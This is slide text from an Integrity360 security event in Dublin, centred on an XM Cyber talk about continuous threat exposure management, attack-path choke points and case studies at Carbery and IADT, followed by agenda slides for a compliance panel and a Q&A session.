xxxxxx@integrity360.com

#SecurityFirstDublin

Thank you
Patrick Wragg
patrick.wragg@integrity360.com

Richard Ford
richard.ford@integrity360.com
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Moving from Vulnerability 
Management to Continuous 
Threat Exposure Management 
- A Carbery and IADT Use Case

Matt Quinn
Technical Director NE, XM Cyber

Brian Martin
Director of Product Management, Integrity360



Moving from Vulnerability Management to 
Continuous Exposure Management
A Carbery and IADT Case Study



XM Cyber

Attackers Evading Detection, Forcing Reliance on Posture 

Move laterally across hybrid 
environments

Exploit mix of CVEs, 
misconfigs & identities

Bypass EDR & other 
controls

Siloed technologies for 
different environments

Overwhelming lists of 
exposures–can’t fix them all

Busy fixing the 
wrong things

Don’t know where most 
vulnerable to attack

Gives advantage
to attackers 

© XM Cyber 20241
0
6

Choke Points: Exposures that lie on attack path junctions leading 
to critical assets

Remediation effort completed

Data CenterCorporate Network

OT

PCI

CloudDMZ



2024 State of Exposure Management Report, XM Cyber

of exposures aren’t on attack 
paths to an organisation’s critical 
assets… yet organisations are still 

focusing on fixing these

75% 

© XM Cyber 2024107



Disconnect Between Security & IT

© XM Cyber 2024108

SECURITY IT

Security struggles to 
get IT to complete 
remediations given lack 
of clear justification

Scoping

Discovery

Validation

Prioritization

Mobilization

Highly inefficient and
unscalable model

Can’t secure business 
at the pace it’s moving

Problem is getting 
worse!

Nobody Wins & Unnecessary 
Business Risk Remains

IT frustrated by never 
ending and growing lists 
of tasks that lack clarity 
on risk impact



CVEs Cloud Active DirectoryCredentials Misconfigurations

Discovery

In the Wild

See All Ways
All attack paths, All of the time

Choke 
Points

On Path To
Critical Assets

• Long lists of only CVEs
• No attack path insight

More Coverage, Smarter Prioritization, Fewer Fixes

© XM Cyber 2024109

Automated Discovery of How ALL Exposures Come Together To Put Critical Assets At Risk

In the Wild

Discover

CVEs

Red Team, Pen-Test 
& BAS tools 

• Limited attack path insight
• Not comprehensive, 

continuous or safe

90% further reduction

75% reduction

Build Attack Graph

Exploitable Exposures

Vulnerability 
Management



A Smarter Approach – Attack Graph Analysis

© XM Cyber 2024110

Choke Points: Exposures that lie on attack path junctions leading to critical assets

Enable remediation focus on 
Choke Points, not Dead Ends

Provide contextual, guided 
remediation options

Fix Less. 
Prevent More.

Identify all attack paths 
to business-critical assets

Data CenterCorporate Network

OT

PCI

CloudDMZ



Organisations can practically eliminate 
all attack paths to critical assets by 

remediating

just 2%
of exposures that lie on choke points. 

2024 State of Exposure Management Report, XM Cyber

3
0
/
0
4

© XM Cyber 2024111



Case Study: Fast, Demonstrable Risk Reduction

© XM Cyber 2024112

BEFORE AFTER

• Choke point on 
internet-facing 
file server

• 2 cached
privileged 
credentials

• EDR not running, 
although installed

Example step in the journey: Ransomware scenario resolved in 1 day

30,000 employee company goes from F (34) to A (100) in 4 months



Operationalize Ongoing Risk Reduction

© XM Cyber 2024114
3
0
/
0
4

3
0
/
0
4

SaaS Delivery & Managed Service

• Align scenarios to threat landscape
• Understand critical assets & 

environments

• Discover CVEs, misconfigurations, 
cloud, identity risks, etc.

• Across hybrid cloud environment
• Compile attack graph

• Prioritize threats ‘in the wild’ 
• Holistic understanding of attack surface
• Map attack paths to critical assets

• Discover exploitability
• Understand compensating controls
• Identity choke points and critical 

attack paths

• Align security risks with IT 
remediation options

• Remediation guidance
• IT ticket integration
• Track remediation progress

Enables Continuous Threat Exposure Management

Free up resources 
wasting time on the 
wrong fixes

Answer “Where are we 
most vulnerable and 
what’s being done?”

Enable business to 
operate securely with a 
scalable process

Foster Security & IT 
team alignment and 
efficiencies



Accelerating Security Initiatives

© XM Cyber 2024115

SOC 
Efficiency

Supply Chain & 
3rd Party Risk

Cyber Risk 
Reporting/ 
Compliance

Ransomware 
Readiness

CVE 
Prioritisation

Digital Transformation 
& Cloud

OT Security/ 
Segmentation

Mergers & 
Acquisitions

OPERATIONAL

BUSINESS

© XM Cyber 2024



Carbery

XM Cyber116

Challenge:
• Carbery Group split across Carbery and Synergy subsidiaries in 

Ireland and US (M&A)
• Risks from IT to OT/Manufacturing (OT)
• Shared infrastructure across the businesses
• On-prem and Cloud environments (Cloud Transformation)
• Agile business, rapidly changing (Continuous)

Solution:
• XM Cyber deployed across On-Prem, AD and Cloud
• Choke Points identified and resolved across on-prem issues between 

businesses including segmentation
• Risks to Manufacturing eliminated
• Hybrid On-prem to Cloud risks eliminated

Impact / Value:
• Improved cyber resilience to protect manufacturing and intellectual 

property that are key to keeping Carbery operational
• Measurable reduction in risk



IADT

XM Cyber117

Challenge:
• Small team looking after a large complex campus environment 

(SOC Prioritisation)
• Student and Lecturer environments, 2500 students, 350 staff
• 3rd party access (3rd party risk)
• Student medical data

Solution:
• XM deployed across on-prem and AD
• Prioritized choke points based on IADTs most critical systems that 

keep them running, or have critical student data

Impact / Value:
• Improved segmentation and resilience based on XM Cyber attack 

simulations
• Eliminate risk from 3rd party access
• Patch and CVE prioritisation based on exploitability, not just 

vulnerability (CVE Prioritisation)



Key Takeaways

118

What to consider on your CTEM journey

Look at Cloud from all 
anglesWiden the scope Move to Continuous Quick Wins

01 02 03 04

• Exposure goes beyond CVE
• Look across CVEs, 

Misconfigurations, AD, Cloud, 
Network to get a true 
understanding of posture 

• “Cloud” is not all Lambda 
functions and K8s

• Lift & Shift created “double 
bubble” risks

• VMs exist in Cloud with 
network connectivity to On-
prem

• Domain joined VMs, AWS AD 
Service

• IAM attacks, Kubernetes

• Have a process to review 
issues on a continuous basis, 
not just point in time

• Create relationships with the 
different teams that will 
remediate these issues, and 
give them context on the risk 
to operationalise

• Focus on the quick wins that 
need the least amount of 
effort for largest reduction in 
risk

• Plan mid to long term 
improvements like network 
segmentation based on your 
findings, backed by risk

© XM Cyber 2024



Q&A
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#SecurityFirstDublin

Refreshment break
+ Demo labs

See, secure, protect
and manage your

entire Attack Surface

Detect, defend and 
educate in a world of AI

Streamline security and 
pick up the pace of 
meeting cyber goals 
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CRA panel session:
Balancing Compliance and Security

Richard Ford

CTO

Gl rc e pgrw1 4 .

Tony Dunne

Senior CRA 
Advisor

In t e g rit y3 6 0

George Tsachlis

Senior Security 
Solutions Engineer

P _n gb 5

Matej Zachar

CISO

Ko n t e n t .AI

Jack Nagle

Senior Compliance
Manager

B ma s qge l

Richard Dunne

CISO

Technological 
University Dublin
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Quick Interval, 
grab a beverage
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Q&A with Dara Ó Briain

Dara Ó Briain
Acclaimed presenter & comedian

Loman McCaffrey
Business Development Director - Ireland
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Thank you
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Please join us for 
our drinks reception
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